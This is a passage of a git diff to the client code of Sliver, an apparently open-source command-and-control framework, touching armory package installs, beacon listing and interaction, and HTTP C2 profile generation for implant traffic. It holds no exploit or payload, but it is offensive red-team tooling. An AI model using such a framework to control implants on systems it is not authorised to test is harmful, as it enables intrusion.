if seen[bundle.Name] {
continue
}
label := fmt.Sprintf("bundle: %s (%d packages)", bundle.Name, len(bundle.Packages))
options = append(options, forms.ArmoryInstallOption{
Value: bundle.Name,
Label: label,
})
seen[bundle.Name] = true
}
if len(options) == 0 {
return options
}
sort.Slice(options, func(i, j int) bool {
return options[i].Label < options[j].Label
})
if packageCount > 0 {
options = append([]forms.ArmoryInstallOption{
{
Value: "all",
Label: "all packages (aliases + extensions)",
},
}, options...)
}
return options
}
func formatArmoryInstallLabel(kind, name, help string) string {
help = strings.TrimSpace(help)
if help == "" {
return fmt.Sprintf("%s: %s", kind, name)
}
help = strings.Join(strings.Fields(help), " ")
return fmt.Sprintf("%s: %s - %s", kind, name, help)
}
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
if entry == nil {
return errors.New("package not found")
@@ -635,15 +483,20 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
return errors.New("signature verification failed")
}
tmpFileName, err := writeArmoryTempFile(tarGz)
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFileName)
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
if installPath == nil {
return errors.New("failed to install alias")
}
@@ -724,45 +577,23 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
return errors.New("signature verification failed")
}
tmpFileName, err := writeArmoryTempFile(tarGz)
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
defer os.Remove(tmpFileName)
con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
return nil
}
func writeArmoryTempFile(data []byte) (string, error) {
if len(data) == 0 {
return "", errors.New("downloaded archive is empty")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return "", err
}
tmpFileName := tmpFile.Name()
for len(data) > 0 {
n, err := tmpFile.Write(data)
if err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
data = data[n:]
}
if err := tmpFile.Sync(); err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
if err := tmpFile.Close(); err != nil {
os.Remove(tmpFileName)
return "", err
}
return tmpFileName, nil
}
+3 -2
View File
@@ -8,10 +8,10 @@ import (
"strings"
"sync"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
@@ -602,7 +602,8 @@ func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
if err != nil {
con.PrintErrorf("could not modify armory: %s\n", err)
confirm := false
_ = forms.Confirm("Would you like to revert the properties of the armory back to their previous values?", &confirm)
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
} else {
+72 -33
View File
@@ -19,11 +19,13 @@ package armory
*/
import (
"errors"
"fmt"
"os"
"sort"
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -32,7 +34,6 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
)
@@ -86,19 +87,16 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
selectedUpdates, err = getUpdatesFromUser(updateKeys)
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf(err.Error() + "\n")
return
}
if len(selectedUpdates) == 0 {
return
}
} else {
con.PrintSuccessf("All packages are up to date\n")
con.PrintSuccessf("All packages are up to date")
return
}
@@ -257,7 +255,7 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
if len(extensionUpdates) != 1 {
extensionSuffix = "s"
}
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
tw.AppendHeader(table.Row{
"Package Name",
"Package Type",
@@ -301,35 +299,76 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
con.Printf("%s\n\n", tw.Render())
}
func getUpdatesFromUser(updateKeys []UpdateIdentifier) ([]UpdateIdentifier, error) {
options := make([]forms.ArmoryUpdateOption, 0, len(updateKeys))
optionIndex := make(map[string]UpdateIdentifier, len(updateKeys))
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
chosenUpdates = []UpdateIdentifier{}
for _, key := range updateKeys {
packageType := "Alias"
if key.Type == ExtensionPackage {
packageType = "Extension"
}
optionID := fmt.Sprintf("%d:%s", key.Type, key.Name)
optionLabel := fmt.Sprintf("%s (%s)", key.Name, packageType)
options = append(options, forms.ArmoryUpdateOption{
ID: optionID,
Label: optionLabel,
})
optionIndex[optionID] = key
}
var updateResponse string
result, err := forms.ArmoryUpdateForm(options)
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
err := survey.AskOne(&survey.Input{
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
}, &updateResponse)
if err != nil {
return nil, err
// We do not need to set selectionError because an error here means the same thing as responding with "none"
return
}
chosenUpdates := make([]UpdateIdentifier, 0, len(result.SelectedIDs))
for _, selectedID := range result.SelectedIDs {
if update, ok := optionIndex[selectedID]; ok {
chosenUpdates = append(chosenUpdates, update)
updateResponse = strings.ToLower(updateResponse)
updateResponse = strings.Replace(updateResponse, " ", "", -1)
if updateResponse == "n" || updateResponse == "none" {
return
}
if updateResponse == "a" || updateResponse == "all" {
chosenUpdates = updateKeys
return
}
selections := strings.Split(updateResponse, ",")
for _, selection := range selections {
// Handle a range
if strings.Contains(selection, "-") {
rangeParts := strings.Split(selection, "-")
start, err := strconv.Atoi(rangeParts[0])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
return
}
end, err := strconv.Atoi(rangeParts[1])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
return
}
// Adjust for the 0 indexed slice we are working with
start -= 1
end -= 1
if start < 0 {
start = 0
}
if start > end {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
if end >= len(updateKeys) {
end = len(updateKeys) - 1
}
for i := start; i <= end; i++ {
chosenUpdates = append(chosenUpdates, updateKeys[i])
}
} else {
// Single entry
index, err := strconv.Atoi(selection)
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
index -= 1
if index >= 0 && index < len(updateKeys) {
chosenUpdates = append(chosenUpdates, updateKeys[index])
}
}
}
return chosenUpdates, nil
return
}
+3 -9
View File
@@ -1,10 +1,4 @@
# client/command/backdoor
Backdoor
========
## Overview
Implements the 'backdoor' command group for the Sliver client console.
## Go Files
- `backdoor.go` – Implements the RPC workflow that backdoors a remote binary with Sliver shellcode for the active session.
- `commands.go` – Registers the Cobra command, binds flags/completions, and restricts usage to applicable targets.
Implements command related to `backdoor`
+3 -13
View File
@@ -1,14 +1,4 @@
# client/command/beacons
Beacons
========
## Overview
Implements the 'beacons' command group for the Sliver client console. Handlers map Cobra invocations to beacons workflows such as prune, RM, and watch.
## Go Files
- `beacons.go` – Retrieves beacon inventories and renders them in tabular form with optional filtering.
- `commands.go` – Declares the beacons command set, binds flags/completions, and wires subcommands like prune, rm, and watch.
- `helpers.go` – Provides helper RPC wrappers for selecting, fetching, and listing beacons.
- `prune.go` – Implements the prune routine that removes stale beacon entries via the backend API.
- `rm.go` – Removes a specific beacon by ID, coordinating confirmation and RPC teardown.
- `watch.go` – Streams beacon events in a watch loop, handling cancellation and console interaction.
This package implements the beacons command, which can be used to list and interact with beacons.
+19 -32
View File
@@ -39,7 +39,6 @@ import (
func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
killFlag, _ := cmd.Flags().GetString("kill")
killAll, _ := cmd.Flags().GetBool("kill-all")
interact, _ := cmd.Flags().GetString("interact")
// Handle kill
if killFlag != "" {
@@ -73,18 +72,6 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
if interact != "" {
beacon, err := GetBeacon(con, interact)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, strings.Split(beacon.ID, "-")[0])
return
}
filter, _ := cmd.Flags().GetString("filter")
var filterRegex *regexp.Regexp
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
@@ -178,10 +165,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
}
for _, beacon := range beacons {
style := console.StyleNormal
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
style = console.StyleGreen
color = console.Green
}
if beacon.Integrity == "" {
beacon.Integrity = "-"
@@ -192,34 +179,34 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
if wideTermWidth {
rowEntries = []string{
style.Render(strings.Split(beacon.ID, "-")[0]),
style.Render(beacon.Name),
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)),
style.Render(beacon.Transport),
style.Render(beacon.RemoteAddress),
style.Render(beacon.Hostname),
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
}
if windowsBeaconInList {
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
}
rowEntries = append(rowEntries, []string{
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
style.Render(beacon.Locale),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}...)
} else {
rowEntries = []string{
style.Render(strings.Split(beacon.ID, "-")[0]),
style.Render(beacon.Name),
style.Render(beacon.Transport),
style.Render(beacon.Hostname),
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
+15 -70
View File
@@ -33,7 +33,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
f.StringP("kill", "k", "", "kill the designated beacon")
f.BoolP("kill-all", "K", false, "kill all beacons")
f.StringP("interact", "i", "", "interact with a beacon")
f.BoolP("force", "F", false, "force killing the beacon")
f.StringP("filter", "f", "", "filter beacons by substring")
@@ -41,9 +40,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
})
flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
(*comp)["kill"] = BeaconIDCompleter(con)
(*comp)["interact"] = BeaconIDCompleter(con)
})
registerBeaconIDFlagCompletion(beaconsCmd, "interact", con)
beaconsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a beacon",
@@ -84,74 +81,22 @@ func Commands(con *console.SliverClient) []*cobra.Command {
// BeaconIDCompleter completes beacon IDs
func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
callback := func(_ carapace.Context) carapace.Action {
return carapace.ActionValuesDescribed(beaconCompletionPairs(con)...).Tag("beacons")
results := make([]string, 0)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err == nil {
for _, b := range beacons.Beacons {
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
desc := strings.Join([]string{id, userHost, link}, " ")
results = append(results, b.ID[:8])
results = append(results, desc)
}
}
return carapace.ActionValuesDescribed(results...).Tag("beacons")
}
return carapace.ActionCallback(callback)
}
func registerBeaconIDFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
values := describedValuesToTabs(beaconCompletionPairs(con))
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
})
}
func beaconCompletionPairs(con *console.SliverClient) []string {
results := make([]string, 0)
if con == nil || con.Rpc == nil {
return results
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return results
}
for _, b := range beacons.Beacons {
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
desc := strings.Join([]string{id, userHost, link}, " ")
results = append(results, b.ID[:8], desc)
}
return results
}
func describedValuesToTabs(values []string) []string {
tabbed := make([]string, 0, len(values)/2)
for i := 0; i+1 < len(values); i += 2 {
tabbed = append(tabbed, fmt.Sprintf("%s\t%s", values[i], values[i+1]))
}
return tabbed
}
func filterCompletionValues(values []string, prefix string) []string {
if prefix == "" {
return values
}
filtered := make([]string, 0, len(values))
for _, value := range values {
candidate := value
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
candidate = value[:tab]
}
if strings.HasPrefix(candidate, prefix) {
filtered = append(filtered, value)
}
}
return filtered
}
+7 -2
View File
@@ -26,8 +26,9 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -82,8 +83,12 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
_ = forms.Select("Select a beacon:", options, &selected)
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
+3 -2
View File
@@ -21,10 +21,10 @@ package beacons
import (
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -71,7 +71,8 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.Println()
confirm := false
_ = forms.Confirm("Prune these beacons?", &confirm)
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
-10
View File
@@ -1,10 +0,0 @@
# client/command/builders
## Overview
Implements the 'builders' command group for the Sliver client console.
## Go Files
- `builders.go` – Fetches external builder metadata and formats it for console display.
- `commands.go` – Registers the builders CLI command with its flags and completion helpers.
-10
View File
@@ -1,10 +0,0 @@
# client/command/c2profiles
## Overview
Implements the 'c2profiles' command group for the Sliver client console. Handlers map Cobra invocations to c2profiles workflows such as C2 profiles.
## Go Files
- `c2profiles.go` – Implements listing, import/export, and generation routines for HTTP C2 profiles, including protobuf/JSON conversion helpers.
- `commands.go` – Binds the c2profiles command suite with flag handling and completions for profile management operations.
+304 -124
View File
@@ -21,15 +21,16 @@ package c2profiles
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"math/rand"
"net/url"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
@@ -38,15 +39,10 @@ import (
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
ErrNoSelection = errors.New("no selection")
)
// C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
profileName, _ := cmd.Flags().GetString("name")
@@ -58,11 +54,7 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName, err = selectC2Profile(httpC2Profiles.Configs)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
@@ -75,6 +67,7 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
@@ -110,6 +103,29 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
@@ -133,11 +149,7 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName, err = selectC2Profile(httpC2Profiles.Configs)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
@@ -189,6 +201,23 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
return
}
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var extensions []string
for _, c2profile := range c2Profiles.Configs {
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -214,7 +243,7 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
}
urls := strings.Split(string(fileContent), "\n")
jsonProfile, err := updateC2Profile(config, urls)
jsonProfile, err := updateC2Profile(extensions, config, urls)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -235,26 +264,26 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
}
con.Println("C2 profile generated and saved as ", profileName)
} else {
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
PrintC2Profiles(profile, con)
}
}
// convert protobuf to json
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
implantConfig := assets.HTTPC2ImplantConfig{
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
NonceMode: profile.ImplantConfig.NonceMode,
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
MinFileGen: int(profile.ImplantConfig.MinFileGen),
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
MinPathGen: int(profile.ImplantConfig.MinFileGen),
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
MinPathLength: int(profile.ImplantConfig.MinPathLength),
Extensions: profile.ImplantConfig.Extensions,
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
MaxFiles: int(profile.ImplantConfig.MaxFiles),
MinFiles: int(profile.ImplantConfig.MinFiles),
MaxPaths: int(profile.ImplantConfig.MaxPaths),
MinPaths: int(profile.ImplantConfig.MinFiles),
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
PollFileExt: profile.ImplantConfig.PollFileExtension,
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
}
var headers []assets.NameValueProbability
@@ -263,7 +292,6 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
implantConfig.Headers = headers
@@ -279,19 +307,50 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
implantConfig.URLParameters = urlParameters
var (
files []string
paths []string
stagerFiles []string
pollFiles []string
sessionFiles []string
closeFiles []string
stagerPaths []string
pollPaths []string
sessionPaths []string
closePaths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
files = append(files, pathSegment.Value)
switch pathSegment.SegmentType {
case 0:
pollFiles = append(pollFiles, pathSegment.Value)
case 1:
sessionFiles = append(sessionFiles, pathSegment.Value)
case 2:
closeFiles = append(closeFiles, pathSegment.Value)
case 3:
stagerFiles = append(stagerFiles, pathSegment.Value)
}
} else {
paths = append(paths, pathSegment.Value)
switch pathSegment.SegmentType {
case 0:
pollPaths = append(pollPaths, pathSegment.Value)
case 1:
sessionPaths = append(sessionPaths, pathSegment.Value)
case 2:
closePaths = append(closePaths, pathSegment.Value)
case 3:
stagerPaths = append(stagerPaths, pathSegment.Value)
}
}
}
implantConfig.Files = files
implantConfig.Paths = paths
implantConfig.PollFiles = pollFiles
implantConfig.SessionFiles = sessionFiles
implantConfig.CloseFiles = closeFiles
implantConfig.StagerFiles = stagerFiles
implantConfig.PollPaths = pollPaths
implantConfig.SessionPaths = sessionPaths
implantConfig.ClosePaths = closePaths
implantConfig.StagerPaths = stagerPaths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
@@ -299,7 +358,6 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
@@ -330,66 +388,101 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, file := range config.ImplantConfig.Files {
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
Value: file,
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, path := range config.ImplantConfig.Paths {
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
Value: path,
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, clientHeader := range config.ImplantConfig.Headers {
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
Method: clientHeader.Method,
Name: clientHeader.Name,
Value: clientHeader.Value,
Probability: int32(clientHeader.Probability),
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, urlParameter := range config.ImplantConfig.URLParameters {
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{
Method: urlParameter.Method,
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int32(urlParameter.Probability),
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
NonceMode: config.ImplantConfig.NonceMode,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
MinFileGen: int32(config.ImplantConfig.MinFileGen),
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
MinPathGen: int32(config.ImplantConfig.MinPathGen),
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
MinPathLength: int32(config.ImplantConfig.MinPathLength),
Extensions: config.ImplantConfig.Extensions,
PathSegments: pathSegments,
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
